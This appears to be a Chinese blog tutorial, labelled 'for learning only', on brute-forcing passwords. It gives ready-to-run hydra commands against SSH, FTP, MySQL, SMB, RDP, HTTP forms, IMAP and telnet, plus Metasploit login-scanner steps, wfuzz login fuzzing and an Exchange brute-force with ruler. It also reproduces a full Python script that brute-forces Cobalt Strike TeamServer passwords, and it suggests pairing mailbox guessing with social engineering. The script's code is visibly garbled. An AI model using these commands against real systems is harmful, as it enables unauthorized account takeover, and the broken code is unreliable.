Web安全——穷举爆破下篇(仅供学习)

Web安全

  • 一、常见的端口服务穷举
    • [1、hydra 密码穷举工具的使用](#1、hydra 密码穷举工具的使用)
    • [2、使用 hydra 穷举 ssh 服务](#2、使用 hydra 穷举 ssh 服务)
    • [3、使用 hydra 穷举 ftp 服务](#3、使用 hydra 穷举 ftp 服务)
    • [4、使用 hydra 穷举 mysql 服务](#4、使用 hydra 穷举 mysql 服务)
    • [5、使用 hydra 穷举 smb 服务](#5、使用 hydra 穷举 smb 服务)
    • [6、使用 hydra 穷举 http 服务](#6、使用 hydra 穷举 http 服务)
    • [7、使用 hydra 穷举 pop3 服务](#7、使用 hydra 穷举 pop3 服务)
    • [8、使用 hydra 穷举 rdp 服务](#8、使用 hydra 穷举 rdp 服务)
    • [9、使用 hydra 穷举 http-proxy 服务](#9、使用 hydra 穷举 http-proxy 服务)
    • [10、使用 hydra 穷举 imap 服务](#10、使用 hydra 穷举 imap 服务)
    • [11、使用 hydra 穷举 telnet 服务](#11、使用 hydra 穷举 telnet 服务)
  • [二、xhydra 穷举工具破解各种服务](#二、xhydra 穷举工具破解各种服务)
  • [三、metasploit 穷举模块的使用](#三、metasploit 穷举模块的使用)
  • [四、御剑 RDP 爆破工具的使用](#四、御剑 RDP 爆破工具的使用)
  • [五、wfuzz 多线程穷举密码](#五、wfuzz 多线程穷举密码)
  • 六、邮箱密码的穷举
    • [1、企业独立搭建的邮服 用 MailCracker 进行破解](#1、企业独立搭建的邮服 用 MailCracker 进行破解)
    • [2、针对 163 qq 这些邮箱用 mail 脚本进行穷举](#2、针对 163 qq 这些邮箱用 mail 脚本进行穷举)
  • [七、CobaltStrike TeamServer 口令暴力破解](#七、CobaltStrike TeamServer 口令暴力破解)
  • [八、对 apache-tomcat 服务进行穷举](#八、对 apache-tomcat 服务进行穷举)
  • 九、超级弱口令穷举使用
  • [十、exchange 邮服穷举](#十、exchange 邮服穷举)

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]

http[s]-{head|get|post} http[s]-{get|post}-form http-proxy

http-proxy-urlenum icq imap[s] irc ldap2[s]

ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp

oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2

rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]

smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc

xmpp

使用例子

bash 复制代码
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

bash 复制代码
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R

继续从上一次进度接着破解
-S

大写,采用 SSL 链接
-s <PORT>

小写,可通过这个参数指定非默认端口
-l <LOGIN>

指定破解的用户,对特定用户破解
-L <FILE>

指定用户名字典
-p <PASS>

小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>

大写,指定密码字典
-e <ns>

可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>

使用冒号分割格式,例如"登录名:密码"来代替-L/-P 参数
-M <FILE>

指定目标列表文件一行一条
-o <FILE>

指定结果输出文件
-f

在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>

同时运行的线程数,默认为 16
-w <TIME>

设置最大超时的时间,单位秒,默认是 30s
-v / -V

显示详细过程
server

目标 ip
service

指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}

http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3

mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs

snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak

sip vmauthd firebird ncp afp 等等

OPT

可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件

-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104

192.168.1.104 ssh

-l 指定用户

bash 复制代码
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

3、使用 hydra 穷举 ftp 服务

bash 复制代码
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

4、使用 hydra 穷举 mysql 服务

bash 复制代码
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

5、使用 hydra 穷举 smb 服务

bash 复制代码
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f


6、使用 hydra 穷举 http 服务

bash 复制代码
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

7、使用 hydra 穷举 pop3 服务

bash 复制代码
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

bash 复制代码
hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

bash 复制代码
hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

bash 复制代码
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

bash 复制代码
hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。

使用 hydra 破解 rdp 服务




三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

bash 复制代码
auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login



模块的用法

首先启动在终端下启动 msfconsole use 使用 ssh_login 模块

use auxiliary/scanner/ssh/ssh_login

show options 查看模块的参数

bash 复制代码
RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

bash 复制代码
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击

四、御剑 RDP 爆破工具的使用

五、wfuzz 多线程穷举密码

bash 复制代码
Usage: wfuzz [options] -z payload,params <url> 
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"


六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995

收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。

七、CobaltStrike TeamServer 口令暴力破解

Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。

Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com

这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解

然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver

sudo ./teamserver 192.168.0.102 123456

启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。

如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

python 复制代码
#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versi

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
	sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) 
	parser = argparse.ArgumentParser()
	parser.add_argument("host",
		help="Teamserver address") 	
	parser.add_argument("wordlist", nargs="?",
		help="Newline-delimited word list file") 
	parser.add_argument("-p", dest="port", default=50050, type=int,
		help="Teamserver port") 
	parser.add_argument("-t",dest="threads", default=25, type=int,
		help="Concurrency level") 
		
args = parser.parse_args()

#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socket

class NotConnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class DisconnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class Connector:
	def init (self): 
	self.sock = None 
	self.ssl_sock = None
	self.ctx = ssl.SSLContext() 		
	self.ctx.verify_mode = ssl.CERT_NONE 
	pass

	def is_connected(self):
		return self.sock and self.ssl_sock

	def open(self, hostname, port):
		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.sock.settimeout(10)
		self.ssl_sock = self.ctx.wrap_socket(self.sock)
 
		if hostname == socket.gethostname():
			ipaddress = socket.gethostbyname_ex(hostname)[2][0] 
			self.ssl_sock.connect((ipaddress, port))
		else:
			self.ssl_sock.connect((hostname, port))


	def close(self):
		if self.sock:
			self.sock.close() 
		self.sock = None 	
		self.ssl_sock = None

	def send(self, buffer):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		self.ssl_sock.sendall(buffer)

	def receive(self):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		received_size = 0 
		data_buffer = b""

		while received_size < 4:
			data_in = self.ssl_sock.recv() data_buffer = 			
			data_buffer + data_in 		
			received_size += len(data_in)

		return data_buffer

	def passwordcheck(password): 
		if len(password) > 0:
			result = None
 			conn = Connector() 			
 			conn.open(args.host, args.port)
			payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(
				bytes(password, "ascii").ljust(256, b"A")) 		
			conn.send(payload)
			if conn.is_connected(): result = conn.receive() 
			if conn.is_connected(): conn.close()
			if result == bytearray(b"\x00\x00\xca\xfe"): 
				return password
			else:
				return False
 		else
 			print("Ignored blank password") 
 	passwords = []
	if args.wordlist:
		print("Wordlist: {}".format(args.wordlist)) 
		passwords = open(args.wordlist).read().split("\n")	
	else:
 		print("Wordlist: {}".format("stdin")) 
 		for line in sys.stdin:
			passwords.append(line.rstrip())
	if len(passwords) > 0:
		print("Word Count: {}".format(len(passwords))) 		
		print("Threads: {}".format(args.threads))

		start = time.time()
		# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
 
		attempts = 0
		failures = 0
		with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:
			future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
			for future in concurrent.futures.as_completed(future_to_check): 
				password = future_to_check[future]
				try:
					data = future.result() 
					attempts = attempts + 1 
					if data:
						print("Found Password: {}".format(password)) 
				except Exception as exc:
					failures = failures + 1
					print('%r generated an exception: %s' % (password, exc))

	print("Attempts: {}".format(attempts)) 
	print("Failures: {}".format(failures)) 
	finish = time.time()
	print("Seconds: {:.1f}".format(finish - start))
	print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
	print("Password(s) required")
bash 复制代码
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20


https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典

set RPORT 8081 设置端口

set RHOSTS 192.168.52.6

exploit 攻击

九、超级弱口令穷举使用

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

相关推荐
Zfox_15 分钟前
【Linux】进程信号全攻略(二)
linux·运维·c语言·c++
速盾cdn15 分钟前
速盾:vue的cdn是干嘛的?
服务器·前端·网络
安於宿命19 分钟前
【Linux】简易版shell
linux·运维·服务器
丶Darling.22 分钟前
MIT 6.S081 Lab1: Xv6 and Unix utilities翻译
服务器·unix·lab·mit 6.s081·英文翻译中文
追梦不止~27 分钟前
Docker常用命令+详解
运维·docker·容器
黑龙江亿林等保30 分钟前
深入探索哈尔滨二级等保下的负载均衡SLB及其核心算法
运维·算法·负载均衡
黄小耶@31 分钟前
linux常见命令
linux·运维·服务器
叫我龙翔32 分钟前
【计网】实现reactor反应堆模型 --- 框架搭建
linux·运维·网络
古驿幽情34 分钟前
CentOS AppStream 8 手动更新 yum源
linux·运维·centos·yum
BillKu35 分钟前
Linux(CentOS)安装 Nginx
linux·运维·nginx·centos